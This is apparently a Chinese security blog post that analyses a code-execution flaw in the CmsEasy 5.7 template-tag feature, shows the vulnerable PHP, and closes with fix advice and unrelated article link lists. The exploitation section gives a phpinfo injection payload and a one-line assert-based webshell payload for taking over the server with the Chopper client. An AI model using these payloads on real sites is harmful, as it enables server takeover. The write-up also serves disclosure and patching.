0x00 环境准备

CmsEasy官网:http://www.cmseasy.cn/

网站源码版本:CmsEasy_v5.7_UTF8-0208

程序源码下载:

http://ftp.cmseasy.cn/CmsEasy5.x/CmsEasy_5.7_UTF-8_20180208.zip

测试网站首页:

0x01 代码分析

1、漏洞文件位置:/lib/table/table_templatetagwap.php 第3-20行:

  1. class table_templatetag extends table_mode {
  2. function vaild() {
  3. if(!front::post('name')) {
  4. front::flash('请填写名称!');
  5. return false;
  6. }
  7. if(!front::post('tagcontent')) {
  8. front::flash('请填写内容!');
  9. return false;
  10. 10.         }
  11. 11.         return true;
  12. 12.     }
  13. 13.     function save_before() {
  14. 14.         if(!front::post('tagfrom')) front::$post['tagfrom']='define';
  15. 15.         if(!front::post('attr1')) front::$post['attr1']='0';
  16. 16.         if(front::$post['tagcontent']) front::$post['tagcontent'] = htmlspecialchars_decode(front::$post['tagcontent']);
  17. 17.     }

18. }

可以看到在写入文件之前,使用htmlspecialchars_decode函数把预定义的 HTML 实体 "<"(小于)和 ">"(大于)转换为字符。因此我们可以使用双引号闭合,从而构造出Payload写入文件,进一步触发代码,导致程序在实现上存在代码执行漏洞。攻击者可通过构造恶意脚本代码写入配置文件,从而执行命令,控制网站服务器权限。

0x02 漏洞利用

1、登录后台, 模板--自定义标签—添加自定义标签--填写Payload—提交:

Payload: 1111111111";}<?php phpinfo()?>

2、提交保存后,点击预览,成功触发代码,或者查看id的值,然后直接访问文件路径:http://127.0.0.1/config/tag/category_13.php

3、附绕代码检测的一句话Payload: 11";}<?php assert($_POST[g]);?>

通过菜刀连接,控制网站服务器:

0x03 修复建议

1、写入配置文件前,对特殊字符(如”、<、>等)进行htmlencode处理;

2、全局配置可考虑写入数据库进行调用。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

最新文章

  1. python-tab还是space?
  2. C#中的线程(一)入门
  3. Atitit。Web server Jetty9 使用 attilax 总结
  4. sbrk与brk的使用小例子
  5. Mac OS X上安装 Ruby运行环境
  6. SQLSERVER 数据库查看各表的记录数
  7. [Ubuntu] ubuntu13.04 从php5.4降级到php5.3
  8. C#导出
  9. PHP开发常见问题解决列表
  10. java poi导出EXCEL xls文件代码
  11. Java IO (5) - 总结
  12. UIImagePickerController拍照与摄像
  13. 【ADO.NET】5、手机归属地查询( winfrom )
  14. Linux:Day18(上) dns服务基础进阶
  15. springboot与Mybatis结合
  16. JAVA自学笔记18
  17. 1. jdk内存配置
  18. linux上部署Appach,让文件目录以网页列表形式访问
  19. 【VBA】セールの値は配列に変換方法
  20. Java之Array(数组)说明

热门文章

  1. [日志log] 常用log日志记录方式对比和详解
  2. Python 匿名参数
  3. Recommended Practices for WPF Custom Control Developers
  4. VMware虚拟机找不到USB设备
  5. 《FPGA全程进阶---实战演练》第一章之如何学习FPGA
  6. 关于Unity中天空盒的使用
  7. 服务不支持chkconfig的解决
  8. 理解Java动态代理(1)—找我还钱?我出钱要你的命
  9. Java EE的十三个技术规范
  10. [ACM] POJ 1611 The Suspects (并查集,输出第i个人所在集合的总人数)